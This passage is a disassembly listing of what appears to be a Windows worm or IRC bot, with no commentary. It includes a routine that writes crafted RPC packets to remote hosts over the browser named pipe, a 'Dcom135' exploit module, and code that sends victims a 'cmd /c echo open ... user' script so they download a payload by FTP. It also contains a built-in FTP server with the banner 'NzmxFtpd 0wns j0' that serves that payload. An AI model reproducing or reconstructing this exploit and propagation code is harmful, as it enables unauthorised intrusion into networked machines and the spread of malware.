[ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417090 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_42307C ; WriteFile test eax, eax jz short loc_4048F4 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_4048F4 push [ebp+arg_20] call sub_41793B cmp [ebp+arg_2B], 0 pop ecx jz short loc_4048F0 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404816 add esp, 2Ch jmp short loc_4048FF ; --------------------------------------------------------------------------- loc_4048F0: ; CODE XREF: sub_404816+B3j mov al, 1 jmp short loc_4048FF ; --------------------------------------------------------------------------- loc_4048F4: ; CODE XREF: sub_404816+9Cj ; sub_404816+A4j push [ebp+arg_20] call sub_41793B pop ecx loc_4048FD: ; CODE XREF: sub_404816+61j xor al, al loc_4048FF: ; CODE XREF: sub_404816+D8j ; sub_404816+DCj pop edi pop esi pop ebx leave retn sub_404816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404904 proc near ; CODE XREF: .data:00404EF3p var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh var_20DC = byte ptr -20DCh var_DC = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = qword ptr -68h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call sub_417830 push ebx push esi push edi push offset a_ ; "." push [ebp+arg_0] call sub_418490 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_404975 push [ebp+arg_0] lea eax, [ebp+var_20DC] push offset loc_427670 push esi push eax call sub_41752A push 20h lea eax, [ebp+var_DC] push ebx push eax call sub_417030 lea eax, [ebp+var_20DC] add esp, 1Ch mov [ebp+var_C8], eax mov eax, offset byte_43BCE8 push ebx push eax push eax lea eax, [ebp+var_DC] push eax call sub_422740 loc_404975: ; CODE XREF: sub_404904+28j push [ebp+arg_0] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_423084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4049B9 loc_4049B2: ; CODE XREF: sub_404904+25Cj ; sub_404904+35Ej ... xor al, al jmp loc_404DF5 ; --------------------------------------------------------------------------- loc_4049B9: ; CODE XREF: sub_404904+ACj push 48h lea eax, [ebp+var_B8] push ebx push eax call sub_417030 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B4], eax push eax lea eax, [ebp+var_98] push offset dword_427C94 push eax mov [ebp+var_B8], 5 mov [ebp+var_B7], bl mov [ebp+var_B6], 0Bh mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call sub_417090 push 10h lea eax, [ebp+var_84] push offset dword_427C80 push eax mov [ebp+var_88], 3 call sub_417090 add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call dword_42307C ; WriteFile test eax, eax jz loc_404B57 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call dword_423074 ; ReadFile push ebx call sub_4183B1 push eax call sub_417008 push 14h lea eax, [ebp+var_70] push 41h push eax call sub_417030 push 1Ch lea eax, [ebp+var_30] push 41h push eax call sub_417030 add esp, 20h call sub_417012 mov esi, [ebp+arg_4] mov [ebp+var_70], eax mov dword ptr [ebp+var_68+4], edi mov dword ptr [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx mov [ebp+var_28], ebx cmp byte_427C28[esi], bl jz short loc_404B03 push 4 mov [ebp+var_24], edi mov [ebp+var_2C], edi push offset dword_43BD00 jmp short loc_404B13 ; --------------------------------------------------------------------------- loc_404B03: ; CODE XREF: sub_404904+1EEj push 2 pop eax push 4 mov [ebp+var_24], eax mov [ebp+var_2C], eax push (offset loc_427C77+1) loc_404B13: ; CODE XREF: sub_404904+1FDj lea eax, [ebp+var_20] push eax call sub_417090 add esp, 0Ch call sub_417012 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call sub_417012 cdq idiv edi mov eax, dword_427C1C[esi] mov [ebp+var_18], ebx push eax mov [ebp+arg_0], eax inc edx mov [ebp+var_1C], edx call sub_417889 mov edi, eax pop ecx cmp edi, ebx jnz short loc_404B65 loc_404B57: ; CODE XREF: sub_404904+182j push [ebp+var_4] call dword_423078 ; CloseHandle jmp loc_4049B2 ; --------------------------------------------------------------------------- loc_404B65: ; CODE XREF: sub_404904+251j mov eax, [ebp+arg_0] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417030 mov eax, [ebp+arg_0] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417030 mov eax, dword_427C24[esi] push 7 add eax, edi push offset dword_427C10 push eax mov [ebp+arg_4], eax call sub_417090 mov eax, [ebp+arg_4] push 15Ch add eax, 7 push offset dword_427AB0 push eax call sub_417090 mov eax, dword_427C20[esi] add esp, 30h mov [ebp+arg_4], eax add eax, edi cmp byte_427C28[esi], bl jz short loc_404C16 push 4 push offset dword_43BCFC push eax call sub_417090 add [ebp+arg_4], 0Ch mov esi, offset dword_427C40 mov eax, [ebp+arg_4] push 4 add eax, edi push esi push eax call sub_417090 mov eax, [ebp+arg_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+arg_4], eax call sub_417090 mov eax, [ebp+arg_4] push 4 add eax, 0Ch push esi push eax call sub_417090 add esp, 30h jmp short loc_404C3C ; --------------------------------------------------------------------------- loc_404C16: ; CODE XREF: sub_404904+2C5j mov [ebp+arg_4], eax mov [ebp+var_8], 10h mov esi, offset dword_427C40 loc_404C25: ; CODE XREF: sub_404904+336j push 4 push esi push [ebp+arg_4] call sub_417090 add [ebp+arg_4], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_404C25 loc_404C3C: ; CODE XREF: sub_404904+310j mov eax, [ebp+arg_0] add eax, 42h push eax call sub_417889 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_404C67 push [ebp+var_4] call dword_423078 ; CloseHandle push edi call sub_41793B pop ecx jmp loc_4049B2 ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_404904+34Cj mov eax, [ebp+arg_0] add eax, 42h push eax push ebx ; double push esi call sub_417030 lea eax, [ebp+var_70] push 14h push eax push esi call sub_417090 mov eax, [ebp+arg_0] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul flt_42328C fstp [esp+0Ch+var_10+4] call sub_417AEB call sub_417AC4 push [ebp+arg_0] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_417090 mov eax, [ebp+arg_0] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_4], eax jz short loc_404CD1 loc_404CC9: ; CODE XREF: sub_404904+3C8j inc eax test al, 3 jnz short loc_404CC9 mov [ebp+arg_4], eax loc_404CD1: ; CODE XREF: sub_404904+3C3j lea ecx, [ebp+var_30] push 1Ch add eax, esi push ecx push eax call sub_417090 add [ebp+arg_4], 1Ch push edi call sub_41793B push 18h lea eax, [ebp+var_48] push ebx push eax call sub_417030 push 14h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call sub_417030 add esp, 28h push ebx push ebx push 1 push ebx call dword_423090 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+arg_0+3], bl mov dword ptr [ebp+var_10+4], ebx loc_404D3E: ; CODE XREF: sub_404904+4C4j cmp dword ptr [ebp+var_10+4], 2 jge loc_404DD3 push 1 push 10B8h push [ebp+arg_4] inc dword ptr [ebp+var_10+4] push esi lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] rep movsd call sub_404816 add esp, 2Ch test al, al jz short loc_404DD0 cmp [ebp+var_4C], ebx jz short loc_404DC2 lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call dword_423074 ; ReadFile test eax, eax jnz short loc_404DA9 call dword_42308C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_4049B2 loc_404DA9: ; CODE XREF: sub_404904+492j push 3E8h push [ebp+var_4C] call dword_423088 ; WaitForSingleObject cmp eax, 102h jnz short loc_404DC2 mov byte ptr [ebp+arg_0+3], 1 loc_404DC2: ; CODE XREF: sub_404904+471j ; sub_404904+4B8j cmp byte ptr [ebp+arg_0+3], bl mov esi, [ebp+var_8] jz loc_404D3E jmp short loc_404DD3 ; --------------------------------------------------------------------------- loc_404DD0: ; CODE XREF: sub_404904+46Cj mov esi, [ebp+var_8] loc_404DD3: ; CODE XREF: sub_404904+43Ej ; sub_404904+4CAj push [ebp+var_4] mov edi, dword_423078 call edi ; CloseHandle push esi call sub_41793B cmp [ebp+var_4C], ebx pop ecx jz short loc_404DEF push [ebp+var_4C] call edi ; CloseHandle loc_404DEF: ; CODE XREF: sub_404904+4E4j cmp byte ptr [ebp+arg_0+3], bl setnz al loc_404DF5: ; CODE XREF: sub_404904+B0j pop edi pop esi pop ebx leave retn sub_404904 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DFA proc near ; CODE XREF: .data:00404F11p ; .data:00404FD1p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4231FC ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_423224 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_423214 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_404EC8 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_42321C ; connect cmp eax, 0FFFFFFFFh jz short loc_404EC8 mov edi, 400h push esi mov esi, dword_423204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42E9B8 push eax push eax push dword_43BD0C push [ebp+arg_0] call sub_40AD08 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41752A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_423208 ; send cmp eax, 0FFFFFFFFh jnz short loc_404ECC loc_404EC8: ; CODE XREF: sub_404DFA+50j ; sub_404DFA+62j xor eax, eax jmp short loc_404EE3 ; --------------------------------------------------------------------------- loc_404ECC: ; CODE XREF: sub_404DFA+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_423220 ; closesocket xor eax, eax inc eax loc_404EE3: ; CODE XREF: sub_404DFA+D0j pop edi pop esi pop ebx leave retn sub_404DFA endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_404EED: ; CODE XREF: .data:00404F33j lea eax, [esp+14h] push ebx push eax call sub_404904 pop ecx test al, al pop ecx jz short loc_404F20 push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404DFA add esp, 0C0h test eax, eax jnz short loc_404F3B loc_404F20: ; CODE XREF: .data:00404EFCj test ebx, ebx jnz short loc_404F2F push 7D0h call dword_423064 ; Sleep loc_404F2F: ; CODE XREF: .data:00404F22j inc ebx cmp ebx, 2 jb short loc_404EED xor eax, eax loc_404F37: ; CODE XREF: .data:00404F3Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_404F3B: ; CODE XREF: .data:00404F1Ej xor eax, eax inc eax jmp short loc_404F37 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43EB64 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43EB24 ; htons push 6 push 1 push 2 mov [ebp-0Eh], ax call dword_423214 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404FB2 lea eax, [ebp-10h] push 10h push eax push esi call dword_42321C ; connect cmp eax, 0FFFFFFFFh jnz short loc_404F93 push esi jmp short loc_404FAC ; --------------------------------------------------------------------------- loc_404F93: ; CODE XREF: .data:00404F8Ej push 0 push 1213h push offset dword_427CC0 push esi call dword_423208 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_404FB6 loc_404FAC: ; CODE XREF: .data:00404F91j call dword_423220 ; closesocket loc_404FB2: ; CODE XREF: .data:00404F7Cj xor eax, eax jmp short loc_404FF4 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: .data:00404FAAj call dword_423220 ; closesocket push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404DFA add esp, 0C0h test eax, eax jz short loc_404FF1 mov eax, [ebp+0B0h] imul eax, 3Ch lea eax, dword_429D68[eax] inc dword ptr [eax] loc_404FF1: ; CODE XREF: .data:00404FDEj xor eax, eax inc eax loc_404FF4: ; CODE XREF: .data:00404FB4j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FF8 proc near ; CODE XREF: .data:004051F4p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43EB64 ; inet_addr mov [ebp+var_C], eax mov ax, word_4290A4 push eax call dword_43EB24 ; htons push edi push 1 push 2 mov [ebp+var_E], ax call dword_43EBA4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40510F lea eax, [ebp+var_10] push 10h push eax push esi call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz loc_40510F mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43EB3C ; recv push dword_43BD0C push [ebp+arg_0] call sub_40AD08 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41752A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_40510F push 1F4h call dword_423064 ; Sleep push offset byte_42E9B8 push offset dword_4275E0 lea eax, [ebp+var_1A0] push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_405113 loc_40510F: ; CODE XREF: sub_404FF8+51j ; sub_404FF8+67j ... xor al, al jmp short loc_40512D ; --------------------------------------------------------------------------- loc_405113: ; CODE XREF: sub_404FF8+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43EB3C ; recv push esi call dword_43EBBC ; closesocket mov al, 1 loc_40512D: ; CODE XREF: sub_404FF8+119j pop edi pop esi pop ebx leave retn sub_404FF8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call dword_4231F8 ; gethostbyname mov esi, eax test esi, esi jnz short loc_40515C lea eax, [ebp+0Ch] push eax call dword_4231FC ; inet_addr mov ebx, eax jmp short loc_405162 ; --------------------------------------------------------------------------- loc_40515C: ; CODE XREF: .data:0040514Cj mov ebx, [ebp+0C0h] loc_405162: ; CODE XREF: .data:0040515Aj push 11h push 2 push 2 call dword_423214 ; socket test esi, esi mov edi, eax jz short loc_40518C movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417090 add esp, 0Ch jmp short loc_40518F ; --------------------------------------------------------------------------- loc_40518C: ; CODE XREF: .data:00405172j mov [ebp-0Ch], ebx loc_40518F: ; CODE XREF: .data:0040518Aj test esi, esi jz short loc_40519D mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4051A3 ; --------------------------------------------------------------------------- loc_40519D: ; CODE XREF: .data:00405191j mov word ptr [ebp-10h], 2 loc_4051A3: ; CODE XREF: .data:0040519Bj push 599h call dword_423224 ; htons mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call dword_42321C ; connect test eax, eax jnz loc_40526E push eax push 1C9h push offset loc_428ED8 push edi call dword_423208 ; send push 3E8h call dword_423064 ; Sleep sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_404FF8 add esp, 0BCh test al, al jz short loc_405208 xor eax, eax inc eax jmp short loc_405280 ; --------------------------------------------------------------------------- loc_405208: ; CODE XREF: .data:00405201j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_429114 lea eax, [ebp-210h] push 200h push eax call sub_41752A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D476 lea eax, [ebp-210h] push eax call sub_40BD8D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch lea eax, dword_429D68[eax] inc dword ptr [eax] jmp short loc_40527E ; --------------------------------------------------------------------------- loc_40526E: ; CODE XREF: .data:004051C1j push 1 push edi call dword_4231F4 ; shutdown push edi call dword_423220 ; closesocket loc_40527E: ; CODE XREF: .data:0040526Cj xor eax, eax loc_405280: ; CODE XREF: .data:00405206j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405285 proc near ; DATA XREF: sub_4070A3+227o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_134 = byte ptr -134h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_24], ebx mov [ebp+var_28], ebx mov [ebp+var_238], edi mov [ebp+var_438], edi call dword_4231E0 ; WSAStartup push edi call sub_4183B1 push eax call sub_417008 push 0FEB0h push 406h call sub_4151D8 add esp, 10h mov dword_43BD0C, eax push edi push ebx push 2 call dword_423214 ; socket mov esi, eax lea eax, [ebp+var_24] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_4231E4 ; setsockopt lea eax, [ebp+var_28] push eax push 8004667Eh push esi call dword_423218 ; ioctlsocket mov ax, word ptr dword_43BD0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_423224 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_4231E8 ; bind test eax, eax jge short loc_40535A mov eax, ebx jmp loc_405865 ; --------------------------------------------------------------------------- loc_40535A: ; CODE XREF: sub_405285+CCj push 0Ah push esi call dword_4231EC ; listen mov [ebp+var_238], ebx mov ebx, dword_423208 mov [ebp+var_234], esi mov [ebp+var_4], esi loc_405378: ; CODE XREF: sub_405285+12Aj ; sub_405285+5D8j push 41h lea esi, [ebp+var_238] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_42320C ; select cmp eax, 0FFFFFFFFh jz loc_405862 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_405378 loc_4053B1: ; CODE XREF: sub_405285+5D2j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417030 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417030 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422746 ; __WSAFDIsSet test eax, eax jz loc_405850 cmp edi, [ebp+var_C] jnz short loc_40545A lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_134] push eax push [ebp+var_C] call dword_4231F0 ; accept cmp eax, 0FFFFFFFFh jz loc_405850 mov edx, [ebp+var_238] xor ecx, ecx cmp edx, esi jbe short loc_40542C loc_40541E: ; CODE XREF: sub_405285+1A5j cmp [ebp+ecx*4+var_234], eax jz short loc_40542C inc ecx cmp ecx, edx jb short loc_40541E loc_40542C: ; CODE XREF: sub_405285+197j ; sub_405285+1A0j cmp ecx, edx jnz short loc_405442 cmp edx, 40h jnb short loc_405442 mov [ebp+ecx*4+var_234], eax inc [ebp+var_238] loc_405442: ; CODE XREF: sub_405285+1A9j ; sub_405285+1AEj cmp eax, [ebp+var_4] jle short loc_40544A mov [ebp+var_4], eax loc_40544A: ; CODE XREF: sub_405285+1C0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_405850 ; --------------------------------------------------------------------------- loc_40545A: ; CODE XREF: sub_405285+167j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_423204 ; recv test eax, eax jg short loc_4054B7 mov ecx, [ebp+var_238] xor eax, eax cmp ecx, esi jbe short loc_4054AB loc_40547B: ; CODE XREF: sub_405285+202j cmp [ebp+eax*4+var_234], edi jz short loc_4054A0 inc eax cmp eax, ecx jb short loc_40547B jmp short loc_4054AB ; --------------------------------------------------------------------------- loc_40548B: ; CODE XREF: sub_405285+21Ej mov ecx, [ebp+eax*4+var_230] mov [ebp+eax*4+var_234], ecx mov ecx, [ebp+var_238] inc eax loc_4054A0: ; CODE XREF: sub_405285+1FDj dec ecx cmp eax, ecx jb short loc_40548B dec [ebp+var_238] loc_4054AB: ; CODE XREF: sub_405285+1F4j ; sub_405285+204j push edi call dword_423220 ; closesocket jmp loc_405850 ; --------------------------------------------------------------------------- loc_4054B7: ; CODE XREF: sub_405285+1E8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_418752 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_4173D0 add esp, 18h test eax, eax jnz short loc_4054FB push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_4054FB: ; CODE XREF: sub_405285+267j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40551F push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_40551F: ; CODE XREF: sub_405285+28Bj lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_405543 push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_405543: ; CODE XREF: sub_405285+2AFj lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_405567 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_405567: ; CODE XREF: sub_405285+2D3j lea eax, [ebp+var_AC] push offset off_42933C push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40558B push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_40558B: ; CODE XREF: sub_405285+2F7j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4055C6 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4055C6 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_4055C6: ; CODE XREF: sub_405285+31Bj ; sub_405285+332j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_405601 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_405601 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_405601: ; CODE XREF: sub_405285+356j ; sub_405285+36Dj lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40564F push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_4177B0 pop ecx push eax lea eax, [ebp+var_124] loc_40563F: ; CODE XREF: sub_405285+409j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40583E ; --------------------------------------------------------------------------- loc_40564F: ; CODE XREF: sub_405285+391j lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_405690 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_4177B0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_40563F ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_405285+3DFj lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_405761 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418752 lea eax, [ebp+var_F8] push eax call sub_41751F mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_41751F mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417030 push [ebp+arg_0] lea eax, 